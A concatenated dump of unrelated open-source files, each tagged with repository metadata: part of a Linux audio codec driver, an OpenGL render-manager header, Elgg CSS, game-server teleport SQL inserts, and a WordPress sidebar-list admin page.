INIT_LIST_HEAD(&tapan->dai[i].wcd9xxx_ch_list);
} else if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_SLIMBUS) {
for (i = 0; i < NUM_CODEC_DAIS; i++) {
INIT_LIST_HEAD(&tapan->dai[i].wcd9xxx_ch_list);
init_waitqueue_head(&tapan->dai[i].dai_wait);
}
tapan_init_slim_slave_cfg(codec);
}
if (codec_ver == WCD9306) {
snd_soc_add_codec_controls(codec, tapan_9306_snd_controls,
ARRAY_SIZE(tapan_9306_snd_controls));
snd_soc_dapm_new_controls(dapm, tapan_9306_dapm_widgets,
ARRAY_SIZE(tapan_9306_dapm_widgets));
snd_soc_dapm_add_routes(dapm, wcd9306_map,
ARRAY_SIZE(wcd9306_map));
} else {
snd_soc_dapm_add_routes(dapm, wcd9302_map,
ARRAY_SIZE(wcd9302_map));
}
control->num_rx_port = TAPAN_RX_MAX;
control->rx_chs = ptr;
memcpy(control->rx_chs, tapan_rx_chs, sizeof(tapan_rx_chs));
control->num_tx_port = TAPAN_TX_MAX;
control->tx_chs = ptr + sizeof(tapan_rx_chs);
memcpy(control->tx_chs, tapan_tx_chs, sizeof(tapan_tx_chs));
snd_soc_dapm_sync(dapm);
(void) tapan_setup_irqs(tapan);
atomic_set(&kp_tapan_priv, (unsigned long)tapan);
mutex_lock(&dapm->codec->mutex);
if (codec_ver == WCD9306) {
snd_soc_dapm_disable_pin(dapm, "ANC HPHL");
snd_soc_dapm_disable_pin(dapm, "ANC HPHR");
snd_soc_dapm_disable_pin(dapm, "ANC HEADPHONE");
snd_soc_dapm_disable_pin(dapm, "ANC EAR PA");
snd_soc_dapm_disable_pin(dapm, "ANC EAR");
}
snd_soc_dapm_sync(dapm);
mutex_unlock(&dapm->codec->mutex);
codec->ignore_pmdown_time = 1;
if (ret)
tapan_cleanup_irqs(tapan);
return ret;
err_pdata:
kfree(ptr);
err_nomem_slimch:
kfree(tapan);
return ret;
}
static int tapan_codec_remove(struct snd_soc_codec *codec)
{
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
int index = 0;
WCD9XXX_BG_CLK_LOCK(&tapan->resmgr);
atomic_set(&kp_tapan_priv, 0);
if (spkr_drv_wrnd > 0)
wcd9xxx_resmgr_put_bandgap(&tapan->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&tapan->resmgr);
tapan_cleanup_irqs(tapan);
/* cleanup MBHC */
wcd9xxx_mbhc_deinit(&tapan->mbhc);
/* cleanup resmgr */
wcd9xxx_resmgr_deinit(&tapan->resmgr);
for (index = 0; index < CP_REG_MAX; index++)
tapan->cp_regulators[index] = NULL;
kfree(tapan);
return 0;
}
static struct snd_soc_codec_driver soc_codec_dev_tapan = {
.probe = tapan_codec_probe,
.remove = tapan_codec_remove,
.read = tapan_read,
.write = tapan_write,
.readable_register = tapan_readable,
.volatile_register = tapan_volatile,
.reg_cache_size = TAPAN_CACHE_SIZE,
.reg_cache_default = tapan_reset_reg_defaults,
.reg_word_size = 1,
.controls = tapan_common_snd_controls,
.num_controls = ARRAY_SIZE(tapan_common_snd_controls),
.dapm_widgets = tapan_common_dapm_widgets,
.num_dapm_widgets = ARRAY_SIZE(tapan_common_dapm_widgets),
.dapm_routes = audio_map,
.num_dapm_routes = ARRAY_SIZE(audio_map),
};
#ifdef CONFIG_PM
static int tapan_suspend(struct device *dev)
{
dev_dbg(dev, "%s: system suspend\n", __func__);
return 0;
}
static int tapan_resume(struct device *dev)
{
struct platform_device *pdev = to_platform_device(dev);
struct tapan_priv *tapan = platform_get_drvdata(pdev);
dev_dbg(dev, "%s: system resume\n", __func__);
/* Notify */
wcd9xxx_resmgr_notifier_call(&tapan->resmgr, WCD9XXX_EVENT_POST_RESUME);
return 0;
}
static const struct dev_pm_ops tapan_pm_ops = {
.suspend = tapan_suspend,
.resume = tapan_resume,
};
#endif
static int __devinit tapan_probe(struct platform_device *pdev)
{
int ret = 0;
bool is_wcd9306;
is_wcd9306 = tapan_check_wcd9306(&pdev->dev, false);
if (is_wcd9306 < 0) {
dev_info(&pdev->dev, "%s: cannot find codec type, default to 9306\n",
__func__);
is_wcd9306 = true;
}
codec_ver = is_wcd9306 ? WCD9306 : WCD9302;
if (!is_wcd9306) {
if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_SLIMBUS)
ret = snd_soc_register_codec(&pdev->dev,
&soc_codec_dev_tapan,
tapan9302_dai, ARRAY_SIZE(tapan9302_dai));
else if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_I2C)
ret = snd_soc_register_codec(&pdev->dev,
&soc_codec_dev_tapan,
tapan_i2s_dai, ARRAY_SIZE(tapan_i2s_dai));
} else {
if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_SLIMBUS)
ret = snd_soc_register_codec(&pdev->dev,
&soc_codec_dev_tapan,
tapan_dai, ARRAY_SIZE(tapan_dai));
else if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_I2C)
ret = snd_soc_register_codec(&pdev->dev,
&soc_codec_dev_tapan,
tapan_i2s_dai, ARRAY_SIZE(tapan_i2s_dai));
}
return ret;
}
static int __devexit tapan_remove(struct platform_device *pdev)
{
snd_soc_unregister_codec(&pdev->dev);
return 0;
}
static struct platform_driver tapan_codec_driver = {
.probe = tapan_probe,
.remove = tapan_remove,
.driver = {
.name = "tapan_codec",
.owner = THIS_MODULE,
#ifdef CONFIG_PM
.pm = &tapan_pm_ops,
#endif
},
};
static int __init tapan_codec_init(void)
{
return platform_driver_register(&tapan_codec_driver);
}
static void __exit tapan_codec_exit(void)
{
platform_driver_unregister(&tapan_codec_driver);
}
module_init(tapan_codec_init);
module_exit(tapan_codec_exit);
MODULE_DESCRIPTION("Tapan codec driver");
MODULE_LICENSE("GPL v2");
| smac0628/caf-LA.BF.1.1.2.1 | sound/soc/codecs/wcd9306.c | C | gpl-2.0 | 197,279 |
#ifndef MANAGER_RENDER_H
#define MANAGER_RENDER_H
#include "manager_space.h"
#include <vector>
#include <string>
#include <glm/gtc/matrix_transform.hpp>
#include <glm/glm.hpp>
using namespace std;
class render_obj {
public:
render_obj();
render_obj(GLuint _vao, GLuint _vbo);
render_obj(GLuint _vao, GLuint _vbo, GLuint _tbo);
render_obj(GLuint _vao, GLuint _vbo, GLuint _tbo, GLuint _nbo);
void basicPlane();
void end();
bool hasV, hasT, hasN;
GLuint vao, vbo, tbo, nbo;
};
class camera{
public:
camera();
camera(int dim);
glm::mat4 proj, model, view, mvp;
void setMat(int dim);
void calcMat();
};
class render_manager {
public:
render_manager();
virtual ~render_manager();
void loadShader(const char *vertexpath, const char *fragmentpath);
void end();
void init();
void useProg(int index);
GLuint getProg(int index);
GLuint getUniform(const char *s);
void putTex(GLuint t_id, int where, const char *var_name);
void loadPNG(const char *name);
void deletePNG(int ind);
void drawImg(int w,int h);
int in_use;
camera c;
render_obj r;
vector<GLuint> prog;
vector<tex> texture;
};
#endif // MANAGER_RENDER_H
| Ughuuu/SDL_Tests | include/render_manager.h | C | gpl-2.0 | 1,231 |
<?php
/**
* CSS typography
*
* @package Elgg.Core
* @subpackage UI
*/
?>
/* ***************************************
Typography
*************************************** */
body {
font-size: 80%;
line-height: 1.4em;
font-family: "Lucida Grande", Arial, Tahoma, Verdana, sans-serif;
}
a {
color: #446;
}
a:hover,
a.selected { <?php //@todo remove .selected ?>
color: #555555;
text-decoration: underline;
}
p {
margin-bottom: 15px;
}
p:last-child {
margin-bottom: 0;
}
pre, code {
font-family: Monaco, "Courier New", Courier, monospace;
font-size: 12px;
background:#EBF5FF;
color:#000000;
overflow:auto;
overflow-x: auto; /* Use horizontal scroller if needed; for Firefox 2, not needed in Firefox 3 */
white-space: pre-wrap;
word-wrap: break-word; /* IE 5.5-7 */
}
pre {
padding:3px 15px;
margin:0px 0 15px 0;
line-height:1.3em;
}
code {
padding:2px 3px;
}
.elgg-monospace {
font-family: Monaco, "Courier New", Courier, monospace;
}
blockquote {
line-height: 1.3em;
padding:3px 15px;
margin:0px 0 15px 0;
background:#EBF5FF;
border:none;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
}
h1, h2, h3, h4, h5, h6 {
font-weight: bold;
color: #566;
}
h1 { font-size: 1.8em; }
h2 { font-size: 1.5em; line-height: 1.1em; padding-bottom:5px}
h3 { font-size: 1.2em; }
h4 { font-size: 1.0em; }
h5 { font-size: 0.9em; }
h6 { font-size: 0.8em; }
.elgg-heading-site, .elgg-heading-site:hover {
font-size: 2em;
line-height: 1.4em;
color: white;
font-style: italic;
font-family: Georgia, times, serif;
text-shadow: 1px 2px 4px #333333;
text-decoration: none;
}
.elgg-heading-main {
float: left;
max-width: 530px;
margin-right: 10px;
}
.elgg-heading-basic {
color: #455;
font-size: 1.2em;
font-weight: bold;
}
.elgg-subtext {
color: #666666;
font-size: 85%;
line-height: 1.2em;
font-style: italic;
}
.elgg-text-help {
display: block;
font-size: 85%;
font-style: italic;
}
.elgg-quiet {
color: #666;
}
.elgg-loud {
color: #0054A7;
}
/* ***************************************
USER INPUT DISPLAY RESET
*************************************** */
.elgg-output {
margin-top: 10px;
}
.elgg-output dt { font-weight: bold }
.elgg-output dd { margin: 0 0 1em 1em }
.elgg-output ul, .elgg-output ol {
margin: 0 1.5em 1.5em 0;
padding-left: 1.5em;
}
.elgg-output ul {
list-style-type: disc;
}
.elgg-output ol {
list-style-type: decimal;
}
.elgg-output table {
border: 1px solid #ccc;
}
.elgg-output table td {
border: 1px solid #ccc;
padding: 3px 5px;
}
.elgg-output img {
max-width: 100%;
} | weSPOT/wespot_iwe | mod/elastic/views/default/css/elements/typography.php | PHP | gpl-2.0 | 2,583 |
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10095, -2973.16, -21.0658, 190.085, 3.63401, 1, 'montmulgore');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10094, 9450.69, 65.4357, 18.6532, 3.75495, 1, 'retrievalally');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10092, -1859.96, -4139.58, 10.7204, 4.52634, 0, 'merinterdite');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10091, -4828.17, -982.03, 464.709, 3.9015, 0, 'EldestIronforge');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10090, -11372.9, -4729.71, 5.04762, 3.44946, 1, 'iledelunah');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10087, 9463.68, 66.9378, 19.3721, 2.76772, 1, 'evangeline');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10086, -1833.26, -4198.24, 3.81099, 1.62944, 0, 'cedrix');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10085, -3991.53, -1306.78, 147.66, 3.42565, 0, 'bulle');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10084, 16303.8, 16317.3, 69.4447, 3.95691, 451, 'programmer');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10083, 16303.5, -16173.5, 40.4365, 4.48784, 451, 'designer');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10082, 2212.57, -5110.05, 235.914, 4.37593, 571, 'loveyou');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10081, 2212.57, -5110.05, 235.914, 0.056245, 571, 'tuesunemauvaise');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10080, -5513.16, 930.636, 396.782, 3.28808, 0, 'EventMograine');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10079, 5440.62, -2791.63, 1474.01, 0.994314, 1, 'hyjalarena');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10078, 4418.91, -2522.02, 1123.48, 0.165595, 1, 'hyjalarene');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10077, 4426.23, -2511.4, 1125.03, 0.117803, 1, 'Hyjal tournois');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10076, -13258.7, 279.552, 33.2427, 5.97963, 0, 'Allypxp');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10075, -5086.68, -1702.21, 497.885, 4.13885, 0, 'KTK');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10074, -9826.97, 2567.91, 22.2774, 5.93439, 1, 'sadnessel');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10073, -10772.1, 2183.32, 3.33876, 0.029769, 1, 'Chaussette');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10072, 238.79, 869.559, 121.7, 4.87649, 0, 'retrieval');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10071, 5129.85, -3800.41, 1971.05, 1.68194, 1, 'Sommethyjal');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10070, 2383.68, -5645.17, 421.806, 0.779895, 0, 'acherus');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10069, 1497.92, -24.0304, 421.368, 0.014686, 603, 'vousetesmauvais');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10068, 1497.92, -24.0304, 421.368, 0.014686, 603, 'dansulduar');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10067, 7526.79, 1834.83, 685.055, 4.72038, 571, 'testmog');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10066, -108.961, 25.2245, -63.3502, 0.005686, 13, 'test1');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10065, 3009.27, -5086.37, 732.537, 6.00983, 571, 'noel');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10064, -10738.7, 2437.38, 7.05442, 3.31185, 1, 'Agmagor');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10063, 2166.08, -4706.11, 74.8039, 3.82289, 0, 'Event Maz');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10062, -8621.1, 742.933, 96.7918, 3.11445, 0, 'orphelinally');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10061, -11820.1, -4744.13, 6.74256, 3.52564, 1, 'iledemograine');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10060, 16232.3, 16403.5, -64.3789, 3.07557, 1, 'tribunal');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10059, -9713.21, -4642.26, 19.9119, 2.68797, 1, 'bateau3');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10058, -9712.6, -4641.17, 19.6332, 3.73647, 1, 'bateau4');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10057, -10049.2, -4546.71, 42.0294, 6.07974, 1, 'bns1');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10056, -9464.41, -4706.54, 54.9513, 0.999026, 1, 'BNS');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10055, 16053.3, 16198.8, 5.92209, 3.72675, 1, 'bateau0');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10054, -9638.28, -4686.16, 17.9324, 3.75439, 1, 'bateau2');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10053, 16224.2, 16173, 10.164, 5.82628, 1, 'bateau1');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10052, 5745.47, 3097.24, 316.595, 4.90944, 571, 'faible');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10051, -11350.6, -4728.47, 6.18444, 3.08188, 1, 'Ile tanaris');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10050, -4765.19, -1665.34, 503.324, 0.32606, 0, 'aeroport');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10049, 5706.63, 3427.42, 300.842, 1.67478, 571, 'zonetelemaillon2');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10048, 5710.54, 3389.96, 300.842, 4.82737, 571, 'zonetelemaillon');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10047, -4732.56, -1546.22, 98.3497, 0.52324, 1, 'Cocabox');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10046, 1023.59, 288.158, 332.004, 3.54831, 37, 'agmaevent');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10045, -4819.33, -974.58, 464.709, 0.691372, 0, 'QGdworkin');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10044, 323.337, 169.505, 234.944, 5.14283, 37, 'eventunnutz');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10043, -4816.21, -971.918, 464.709, 3.87829, 0, 'QG2');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10042, 5062.36, -5572.05, 0.000176, 5.09297, 530, 'dworkin11');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10041, 5058.07, -5561.33, 0.000176, 5.09689, 530, 'zonetest');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10040, 4130.36, -3669.49, 45.5482, 1.08652, 0, 'dworkin10');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10039, -2923.34, -3609.87, 178.876, 3.82757, 0, 'dworkin9');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10038, -4244.13, -4503.6, 131.407, 0.238299, 0, 'dworkin8');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10037, -6991.95, 1114.32, 131.396, 3.17022, 0, 'dworkin7*');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10036, -7637.5, -105.542, 59.4568, 0.990743, 0, 'dworkin6');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10035, -7545.66, -1254.35, 481.528, 0.623149, 0, 'dworkin5');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10034, 10374.1, -6408.33, 163.458, 0.226115, 530, 'maisonmograine');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10033, -8680.03, -1167.88, 8.87751, 3.32598, 1, 'enormezone');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10032, -5444.08, -4319.32, 325.784, 2.77644, 1, 'dworkinmj');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10031, 376.233, 866.837, 178.872, 6.21471, 1, 'dworkin4');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10030, 495.349, -737.974, 68.7487, 1.44735, 1, 'dworkin3');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10029, 1736.44, 1934.12, 131.406, 0.371381, 1, 'dworkin2');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10028, -5468.38, -4316.08, 86.1112, 3.89956, 1, 'Dworkin');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10027, -4541.9, -1481.95, 88.0295, 2.87846, 1, 'Cocatrone');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10026, -4547.5, -1462.23, 87.4237, 2.7405, 1, 'Cocahorde');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10025, -4561.49, -1502.51, 92.3065, 0.803512, 1, 'Cocaally');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10024, -4556.61, -1484.48, 87.9318, 1.11472, 1, 'Coca');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10023, 1056.12, -4739.21, 131.171, 2.38611, 0, 'Test2');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10021, 1877.52, 1392.34, 142.147, 1.68047, 1, 'eventpvp1');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10020, -1035.66, 1587.06, 54.0382, 2.58963, 0, 'testgob2');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10019, -1064.93, 1582.08, 66.5807, 3.25722, 0, 'testgob');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10018, 6135.09, 5676.97, 5.15026, 3.86762, 571, 'zonetelebanquet1');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10017, 6171.31, 5709.33, 5.15026, 0.721311, 571, 'zonetelebanquet');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10016, -410.464, -12.5369, 308.466, 2.79667, 37, 'zonetelemariage');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10015, 6235.77, 5764.88, -6.33749, 0.869625, 571, 'banquet');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10014, -5232.07, 1041.33, 393.854, 5.33832, 0, 'event1');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10013, -306.878, -306.384, 295.928, 4.68613, 37, 'mariage!');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10012, -229.042, 501.283, 189.958, 4.87649, 0, 'recup');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10011, -9043.14, 375.864, 137.484, 0.795174, 0, 'toursw');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10010, -5534.36, -1355.33, 398.664, 5.13288, 0, 'freya');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10009, 6471.82, 2379.13, 462.567, 3.69145, 571, 'campargent');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10008, 8510.31, 1031.64, 547.301, 5.33137, 571, 'tournoi');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10001, 16197, 16199.6, 10203.5, 0.881942, 1, 'chute');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10000, 16228, 16403.4, -63.8851, 3.59132, 1, 'Gmbox');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (9999, 240.101, 870.046, 121.701, 3.0978, 0, 'hordezone');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (9998, -229.382, 509.039, 189.958, 2.16503, 0, 'allyzone');
| Stroff/Odyss-e-Serveur | sql/OdySQL/Backup/game_tele_copy.sql | SQL | gpl-2.0 | 15,166 |
<?php
/** List with all available otw sitebars
*
*
*/
global $_wp_column_headers;
$_wp_column_headers['toplevel_page_otw-sbm'] = array(
'id' => __( 'Sidebar ID' ),
'title' => __( 'Title' ),
'description' => __( 'Description' )
);
$otw_sidebar_list = get_option( 'otw_sidebars' );
$message = '';
$massages = array();
$messages[1] = 'Sidebar saved.';
$messages[2] = 'Sidebar deleted.';
$messages[3] = 'Sidebar activated.';
$messages[4] = 'Sidebar deactivated.';
if( isset( $_GET['message'] ) && isset( $messages[ $_GET['message'] ] ) ){
$message .= $messages[ $_GET['message'] ];
}
$filtered_otw_sidebar_list = array();
if( is_array( $otw_sidebar_list ) && count( $otw_sidebar_list ) ){
foreach( $otw_sidebar_list as $sidebar_key => $sidebar_item ){
if( $sidebar_item['replace'] == '' ){
$filtered_otw_sidebar_list[ $sidebar_key ] = $sidebar_item;
}
}
}
?>
<div class="updated"><p>Check out the <a href="http://otwthemes.com/online-documentation-widgetize-pages-light/?utm_source=wp.org&utm_medium=admin&utm_content=docs&utm_campaign=wpl">Online documentation</a> for this plugin<br /><br /> Upgrade to the full version of <a href="http://codecanyon.net/item/sidebar-widget-manager-for-wordpress/2287447?ref=OTWthemes">Sidebar and Widget Manager</a> | <a href="http://otwthemes.com/demos/1ts/?item=Sidebar%20Widget%20Manager&utm_source=wp.org&utm_medium=admin&utm_content=upgrade&utm_campaign=wpl">Demo site</a><br /><br />
<a href="http://otwthemes.com/widgetizing-pages-in-wordpress-can-be-even-easier-and-faster?utm_source=wp.org&utm_medium=admin&utm_content=site&utm_campaign=wpl">Create responsive layouts in minutes, drag & drop interface, feature rich.</a></p></div>
<?php if ( $message ) : ?>
<div id="message" class="updated"><p><?php echo $message; ?></p></div>
<?php endif; ?>
<div class="wrap">
<div id="icon-edit" class="icon32"><br/></div>
<h2>
<?php _e('Available Custom Sidebars') ?>
<a class="button add-new-h2" href="<?php echo admin_url( 'admin.php?page=otw-wpl-add'); ?>">Add New</a>
</h2>
<form class="search-form" action="" method="get">
</form>
<br class="clear" />
<?php if( is_array( $filtered_otw_sidebar_list ) && count( $filtered_otw_sidebar_list ) ){?>
<table class="widefat fixed" cellspacing="0">
<thead>
<tr>
<?php foreach( $_wp_column_headers['toplevel_page_otw-sbm'] as $key => $name ){?>
<th><?php echo $name?></th>
<?php }?>
</tr>
</thead>
<tfoot>
<tr>
<?php foreach( $_wp_column_headers['toplevel_page_otw-sbm'] as $key => $name ){?>
<th><?php echo $name?></th>
<?php }?>
</tr>
</tfoot>
<tbody>
<?php foreach( $filtered_otw_sidebar_list as $sidebar_item ){?>
<tr>
<?php foreach( $_wp_column_headers['toplevel_page_otw-sbm'] as $column_name => $column_title ){
$edit_link = admin_url( 'admin.php?page=otw-wpl&action=edit&sidebar='.$sidebar_item['id'] );
$delete_link = admin_url( 'admin.php?page=otw-wpl-action&sidebar='.$sidebar_item['id'].'&action=delete' );
switch($column_name) {
case 'cb':
echo '<th scope="row" class="check-column"><input type="checkbox" name="itemcheck[]" value="'. esc_attr($sidebar_item['id']) .'" /></th>';
break;
case 'id':
echo '<td><strong><a href="'.$edit_link.'" title="'.esc_attr(sprintf(__('Edit “%s”'), $sidebar_item['id'])).'">'.$sidebar_item['id'].'</a></strong><br />';
echo '<div class="row-actions">';
echo '<a href="'.$edit_link.'">' . __('Edit') . '</a>';
echo ' | <a href="'.$delete_link.'">' . __('Delete'). '</a>';
echo '</div>';
echo '</td>';
break;
case 'title':
echo '<td>'.$sidebar_item['title'].'</td>';
break;
case 'description':
echo '<td>'.$sidebar_item['description'].'</td>';
break;
}
}?>
</tr>
<?php }?>
</tbody>
</table>
